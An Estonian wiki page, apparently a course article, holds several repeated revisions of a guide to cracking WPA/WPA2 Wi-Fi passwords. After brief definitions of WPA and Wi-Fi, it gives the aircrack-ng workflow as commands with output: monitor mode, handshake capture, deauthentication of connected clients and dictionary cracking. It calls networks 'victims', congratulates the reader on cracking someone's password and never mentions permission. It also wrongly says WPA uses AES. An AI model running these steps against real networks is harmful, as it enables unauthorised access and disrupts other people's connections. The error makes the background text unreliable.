Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==

=== Punkt 1 (Raadiokaardi seadistamine õigesse režiimi): ===

1. Käivita '''airmong-ng''', et vaadata millised on sobivad airmong-ng'ga ühilduvad wifi-kaardid. See tagastab hetkeseisu. 

*'''airmon-ng''' 

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0]'' 2. Tekita monitooringu interface'i 

*'''airmon-ng start wlan0 '''-->väljund:''' '''

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0] (monitor mode enabled on mon0)'' 

3. Otsime potensiaalseid ohvreid: 

*'''airodump-ng mon0''' --> väljund:

''CH 1 ][ BAT: 1 hour 30 mins ][ Elapsed: 4 s ][ 2012-11-13 15:18 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:24:17:6A:99:95 -31 14 1 0 11 54 WPA2 CCMP PSK SeeEiOleWIFI 20:C9:D0:19:B1:61 -70 10 0 0 2 54e. WPA2 CCMP PSK MacBook Pro's Wi-Fi Network 64:70:02:68:BC:72 -74 13 0 0 1 54e. WPA2 CCMP PSK Data BSSID STATION PWR Rate Lost Frames Probe '' 

4 Ootame ja loodame, et tekib 4way-handshake. 

*'''airodump-ng -c 11 --bssid 00:24:17:6A:99:95 wlan0'''

Klient tuleb sundida AP küljest lahti, et tekiks uus handshake. 

*'''aireplay-ng -0 1 -a 00:24:17:6A:99:95 -c 94:44:44:0E:5A:E1 mon0''' --> väljund: 

''15:37:25 Waiting for beacon frame (BSSID: 00:24:17:6A:99:95) on channel 11 15:37:26 Sending 64 directed DeAuth. STMAC: [94:44:44:0E:5A:E1] [25|62 ACKs]'' 

5. Kräkkimise osa! 

5.1 Katse lühikese sõnastikuga: 

*'''aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap '''--> väljund:''' '''

Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1532.68 k/s) Current passphrase: valhalla Master Key : B4 D8 F9 A1 70 C9 E2 3D 9C 82 7D 39 25 48 14 96 D6 DC 22 13 34 D1 05 1A EC 67 BD 5F 27 01 9C 7D

Transient Key : 83 CD 49 50 8F 52 1A 92 91 79 39 8C CD FC E8 6A 57 73 4A 7E CE 15 F3 BD 74 AF 2C B8 23 D1 6C 45 90 78 BA 33 94 B1 52 7B ED 69 88 74 41 0B E9 62 A4 22 A2 53 97 5C 5B 32 B8 21 50 C4 21 34 01 D9

EAPOL HMAC : 40 7B 06 6B C6 87 27 FB F2 FF 2B 9C A7 85 54 19

Passphrase not in dictionary 

'''Järeldus: Paroolide fail liiga lühike ja ei sisalda vajalikku parooli!''' 

5.2 Juhul kui punkt 5.1 toimis ja väljund oli olemas: 

Parool oli hoidlas olemas: root@bt:~# aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1474.16 k/s) KEY FOUND! [ hackit123 ] Master Key : 52 06 5C A9 B9 79 95 44 62 0B E7 66 2D 62 64 7B 35 D3 A5 06 61 D7 23 71 5C 23 20 C6 64 E8 A6 C9

Transient Key : 49 B3 7A 6A B0 96 64 19 D2 97 46 03 50 72 68 4F EF F2 D6 21 C0 AB A8 1B 49 43 9E 21 96 E3 76 9C 87 25 79 1D 35 B1 75 E6 C6 44 0D 5B 9D 18 69 9F 32 1D 67 EB DB 48 50 99 00 AB 22 F7 82 22 54 77

EAPOL HMAC : 80 89 8F 6F 3A 28 14 48 1A 7B 13 B3 0E 3F 30 E4 PS! Kui parooli sõnaraamatus ei olnud, siis tuleks hankida kuskilt suurem või genereerida johntheripper-ga, suurte sõnaraamatute tekitamine võtab kaua aega ning nende läbi proovimine omakorda väga kaua aega, kõik sõltub arvuti protsessori kiirusest. 

 

Palju õnne! Oled suutnud lahti kräkkida kellegi WIFI parooli. Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

Kasutatud materjalid: 

[[Www.vallaste.ee|www.vallaste.ee]]

[http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

Autor: Gertti-Vena Rätsep

 

[[Category:Traadita_side_alused]]

WPA kräkkimine

2012-11-13T18:01:52Z

Gratsep: /* Punkt 4: */

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==

=== Punkt 1 (Raadiokaardi seadistamine õigesse režiimi): ===

Käivita wifi liides/kaart "kuulaja režiimis". 

Ava terminal ja kirjuta sinna käsk: 

*'''airmon-ng start wlan0''' 

Masinas millel on Ralink, Atheos ja Broadcom wifi kaart vastab terminal nii: 

Peata ath0 kirjutades käsureale: 

*'''airmon-ng stop '''

 

Kirjuta käsureale: 

*'''iwconfig ''' 

Vastus peaks tulema umbes taoline: 

Kui peaks jutuma, et mõni athx veel töötab siis peata need käsitsi. Siis kontrolli uuesti tulemus '''iwconfig '''käsuga. 

Nüüd lisa oma WIFI kaart 9. kanalisse käsuga: 

*'''airmon-ng start wifi0 9'''

Märkus: selles käsus kasutame "wifi0" "ath0" asemel kuna madwifi-ng draiverid on kasutusel. 

Süsteem peaks vastama:

 

Näed, et "ath0" on määratud kuulamise reziimi. 

Kontrolli, et kõik on õieti sisestades käsureale taas kord käsk '''iwconfig'''.

Süsteem peaks vastama: 

Näed, et ath0 monitoorib/on kuulamise reziimis. 9's kanal asub 2.452GHz sagedusel. Pääsupunkt näitab MAC aadressi.  Soovituslik on üle kontrollida väljastatud informatsioon. Madwifi draiverid ja MAC  peavad olema ära märgitud pääsupunkti (Access Point) reale (teisi draivereid ei kuvata). 

Et teada saada mis sagedusele vastab mingisugune kanal külasta seda lehte: [http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 ]. 

=== Punkt 2: ===

Selle punkti mõte on siis jooksutada airodump-ng'd, et teada saada soovitud Access Pointi. 

Kirjuta käsureale: 

*'''airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0'''

Tähtis on see, et EI TOHI kasutada --ivs'i käsus, kuna on oluline kõiki pakette püüda. 

Näiteks tuleb väljund selline (eeldusel, et wifi klient on ühendatud võrku):

''CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116 '' 

Kuna kuvati “WPA handshake: 00:14:6C:7E:40:80” siis see tähendab, et airodump-ng püüdis edukalt kinni the f'''our-way handshake.''' 

Selline näeb väljund välja kui EI OLE keegi wifisse ühendatud:''' '''

''CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes '' 

=== Punkt 3: ===

See punkt on valikuline ja väga suur abiline, kui sul pole kannatlikust oodata airdump-ng järgi.Eelmise punkti väljundist näed ära MAC aadressi. Kirjuta käsureale järgnev käsk: 

*'''aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0''' 

Kui läheb hästi siis võib väljund olla selline: 

''11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]''

=== Punkt 4 (Võtme murdmine): ===

Selle punkti mõte on siis lahti murda WPA/WPA2. Selleks on sul vaja sõnastikku (password.lst).Võid ka oma sõnastikku kasutada. Põhimõtteliselt aircrack-ng proovib läbi kõik sõnad ja vaatab kas mõni neist sobib. 

Ava uus käsurea aken ja lisa käsk:

*'''aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap''' 

Kui sa saad väljundiks ''"No valid WPA handshakes found."'' siis tee  läbi punkt 3 või varu kannatust ja proovi mingi aja tagant uuesti. 

Kui aga kõik läks nii nagu pidi on väljundiks: 

Aircrack-ng 0.8 [00:00:00] 2 keys tested (37.20 k/s) KEY FOUND! [ 12345678 ] Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

Palju õnne! Oled suutnud lahti kräkkida kellegi WIFI parooli. Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

Kasutatud materjalid: 

[[Www.vallaste.ee|www.vallaste.ee]]

[http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

 

Autor: Gertti-Vena Rätsep

[[Category:Traadita side alused]]

WPA kräkkimine

2012-11-13T18:01:27Z

Gratsep: /* Punkt 1: */

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==

=== Punkt 1 (Raadiokaardi seadistamine õigesse režiimi): ===

Käivita wifi liides/kaart "kuulaja režiimis". 

Ava terminal ja kirjuta sinna käsk: 

*'''airmon-ng start wlan0''' 

Masinas millel on Ralink, Atheos ja Broadcom wifi kaart vastab terminal nii: 

Peata ath0 kirjutades käsureale: 

*'''airmon-ng stop '''

 

Kirjuta käsureale: 

*'''iwconfig ''' 

Vastus peaks tulema umbes taoline: 

Kui peaks jutuma, et mõni athx veel töötab siis peata need käsitsi. Siis kontrolli uuesti tulemus '''iwconfig '''käsuga. 

Nüüd lisa oma WIFI kaart 9. kanalisse käsuga: 

*'''airmon-ng start wifi0 9'''

Märkus: selles käsus kasutame "wifi0" "ath0" asemel kuna madwifi-ng draiverid on kasutusel. 

Süsteem peaks vastama:

 

Näed, et "ath0" on määratud kuulamise reziimi. 

Kontrolli, et kõik on õieti sisestades käsureale taas kord käsk '''iwconfig'''.

Süsteem peaks vastama: 

Näed, et ath0 monitoorib/on kuulamise reziimis. 9's kanal asub 2.452GHz sagedusel. Pääsupunkt näitab MAC aadressi.  Soovituslik on üle kontrollida väljastatud informatsioon. Madwifi draiverid ja MAC  peavad olema ära märgitud pääsupunkti (Access Point) reale (teisi draivereid ei kuvata). 

Et teada saada mis sagedusele vastab mingisugune kanal külasta seda lehte: [http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 ]. 

=== Punkt 2: ===

Selle punkti mõte on siis jooksutada airodump-ng'd, et teada saada soovitud Access Pointi. 

Kirjuta käsureale: 

*'''airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0'''

Tähtis on see, et EI TOHI kasutada --ivs'i käsus, kuna on oluline kõiki pakette püüda. 

Näiteks tuleb väljund selline (eeldusel, et wifi klient on ühendatud võrku):

''CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116 '' 

Kuna kuvati “WPA handshake: 00:14:6C:7E:40:80” siis see tähendab, et airodump-ng püüdis edukalt kinni the f'''our-way handshake.''' 

Selline näeb väljund välja kui EI OLE keegi wifisse ühendatud:''' '''

''CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes '' 

=== Punkt 3: ===

See punkt on valikuline ja väga suur abiline, kui sul pole kannatlikust oodata airdump-ng järgi.Eelmise punkti väljundist näed ära MAC aadressi. Kirjuta käsureale järgnev käsk: 

*'''aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0''' 

Kui läheb hästi siis võib väljund olla selline: 

''11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]''

=== Punkt 4: ===

Selle punkti mõte on siis lahti murda WPA/WPA2. Selleks on sul vaja sõnastikku (password.lst).Võid ka oma sõnastikku kasutada. Põhimõtteliselt aircrack-ng proovib läbi kõik sõnad ja vaatab kas mõni neist sobib. 

Ava uus käsurea aken ja lisa käsk:

*'''aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap''' 

Kui sa saad väljundiks ''"No valid WPA handshakes found."'' siis tee  läbi punkt 3 või varu kannatust ja proovi mingi aja tagant uuesti. 

Kui aga kõik läks nii nagu pidi on väljundiks: 

Aircrack-ng 0.8 [00:00:00] 2 keys tested (37.20 k/s) KEY FOUND! [ 12345678 ] Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

Palju õnne! Oled suutnud lahti kräkkida kellegi WIFI parooli. Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

Kasutatud materjalid: 

[[Www.vallaste.ee|www.vallaste.ee]]

[http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

 

Autor: Gertti-Vena Rätsep

[[Category:Traadita side alused]]

WPA kräkkimine

2012-11-13T17:49:04Z

Gratsep:

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==

=== Punkt 1: ===

Käivita wifi liides/kaart "kuulaja režiimis". 

Ava terminal ja kirjuta sinna käsk: 

*'''airmon-ng start wlan0''' 

Masinas millel on Ralink, Atheos ja Broadcom wifi kaart vastab terminal nii: 

Peata ath0 kirjutades käsureale: 

*'''airmon-ng stop '''

 

Kirjuta käsureale: 

*'''iwconfig''' 

Vastus peaks tulema umbes taoline: 

Kui peaks jutuma, et mõni athx veel töötab siis peata need käsitsi. Siis kontrolli uuesti tulemus '''iwconfig '''käsuga. 

Nüüd lisa oma WIFI kaart 9. kanalisse käsuga: 

*'''airmon-ng start wifi0 9'''

Märkus: selles käsus kasutame "wifi0" "ath0" asemel kuna madwifi-ng draiverid on kasutusel. 

Süsteem peaks vastama:

 

Näed, et "ath0" on määratud kuulamise reziimi. 

Kontrolli, et kõik on õieti sisestades käsureale taas kord käsk '''iwconfig'''.

Süsteem peaks vastama: 

Näed, et ath0 monitoorib/on kuulamise reziimis. 9's kanal asub 2.452GHz sagedusel. Pääsupunkt näitab MAC aadressi.  Soovituslik on üle kontrollida väljastatud informatsioon. Madwifi draiverid ja MAC  peavad olema ära märgitud pääsupunkti (Access Point) reale (teisi draivereid ei kuvata). 

Et teada saada mis sagedusele vastab mingisugune kanal külasta seda lehte: [http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 ]. 

=== Punkt 2: ===

Selle punkti mõte on siis jooksutada airodump-ng'd, et teada saada soovitud Access Pointi. 

Kirjuta käsureale: 

*'''airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0'''

Tähtis on see, et EI TOHI kasutada --ivs'i käsus, kuna on oluline kõiki pakette püüda. 

Näiteks tuleb väljund selline (eeldusel, et wifi klient on ühendatud võrku):

''CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116 '' 

Kuna kuvati “WPA handshake: 00:14:6C:7E:40:80” siis see tähendab, et airodump-ng püüdis edukalt kinni the f'''our-way handshake.''' 

Selline näeb väljund välja kui EI OLE keegi wifisse ühendatud:''' '''

''CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes '' 

=== Punkt 3: ===

See punkt on valikuline ja väga suur abiline, kui sul pole kannatlikust oodata airdump-ng järgi.Eelmise punkti väljundist näed ära MAC aadressi. Kirjuta käsureale järgnev käsk: 

*'''aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0''' 

Kui läheb hästi siis võib väljund olla selline: 

''11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]''

=== Punkt 4: ===

Selle punkti mõte on siis lahti murda WPA/WPA2. Selleks on sul vaja sõnastikku (password.lst).Võid ka oma sõnastikku kasutada. Põhimõtteliselt aircrack-ng proovib läbi kõik sõnad ja vaatab kas mõni neist sobib. 

Ava uus käsurea aken ja lisa käsk:

*'''aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap''' 

Kui sa saad väljundiks ''"No valid WPA handshakes found."'' siis tee  läbi punkt 3 või varu kannatust ja proovi mingi aja tagant uuesti. 

Kui aga kõik läks nii nagu pidi on väljundiks: 

Aircrack-ng 0.8 [00:00:00] 2 keys tested (37.20 k/s) KEY FOUND! [ 12345678 ] Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

Palju õnne! Oled suutnud lahti kräkkida kellegi WIFI parooli. Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

Kasutatud materjalid: 

[[Www.vallaste.ee|www.vallaste.ee]]

[http://www.aircrack-ng.org/doku.php?id=cracking_wpa http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

 

Autor: Gertti-Vena Rätsep

[[Category:Traadita side alused]]

WPA kräkkimine

2012-11-09T12:23:40Z

Gratsep:

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==

=== Punkt 1: ===

Käivita wifi liides/kaart "kuulaja režiimis". 

Ava terminal ja kirjuta sinna käsk: 

*'''airmon-ng''' 

On a machine with a Ralink, an Atheros and a Broadcom wireless card installed, the system responds: 

Masinas millel on Ralink, Atheos ja Broadcom wifi kaart vastab terminal nii: 

''Interface Chipset Driver rausb0     Ralink        RT73    rt73 wlan0       Broadcom b43 - [phy0] wifi0         Atheros      madwifi-ng ath0         Atheros       madwifi-ng VAP (parent: wifi0)'' 

Peata ath0 kirjutades käsureale: 

*'''airmon-ng stop ath0'''

 

''Interface      Chipset     Driver wifi0             Atheros     madwifi-ng ath0             Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)'' 

Kirjuta käsureale: 

*'''iwconfig''' 

Vastus peaks tulema umbes taoline: 

''lo no wireless extensions eth0 no wireless extensions. wifi0 no wireless extensions.'' 

Kui peaks jutuma, et mõni athx veel töötab siis peata need käsitsi. Siis kontrolli uuesti tulemus '''iwconfig '''käsuga. 

Nüüd lisa oma WIFI kaart 9. kanalisse käsuga: 

*'''airmon-ng start wifi0 9'''

Märkus: selles käsus kasutame "wifi0" "ath0" asemel kuna madwifi-ng draiverid on kasutusel. 

Süsteem peaks vastama:

''Interface Chipset Driver wifi0       Atheros    madwifi-ng ath0       Atheros     madwifi-ng VAP (parent: wifi0) (monitor mode enabled)''

 

Näed, et "ath0" on määratud kuulamise reziimi. 

Kontrolli, et kõik on õieti sisestades käsureale taas kord käsk '''iwconfig'''.

Süsteem peaks vastama: 

''lo no wireless extensions. wifi0 no wireless extensions. eth0 no wireless extensions. ath0 IEEE 802.11g ESSID:"" Nickname:"" Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82 Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0'' 

Näed, et ath0 monitoorib/on kuulamise reziimis. 9's kanal asub 2.452GHz sagedusel. Pääsupunkt näitab MAC aadressi.  Soovituslik on üle kontrollida väljastatud informatsioon. Madwifi draiverid ja MAC  peavad olema ära märgitud pääsupunkti (Access Point) reale (teisi draivereid ei kuvata). 

Et teada saada mis sagedusele vastab mingisugune kanal külasta seda lehte: [http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 ]. 

=== Punkt 2: ===

Selle punkti mõte on siis jooksutada airodump-ng'd, et teada saada soovitud Access Pointi. 

Kirjuta käsureale: 

*'''airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0'''

Tähtis on see, et EI TOHI kasutada --ivs'i käsus, kuna on oluline kõiki pakette püüda. 

Näiteks tuleb väljund selline (eeldusel, et wifi klient on ühendatud võrku):

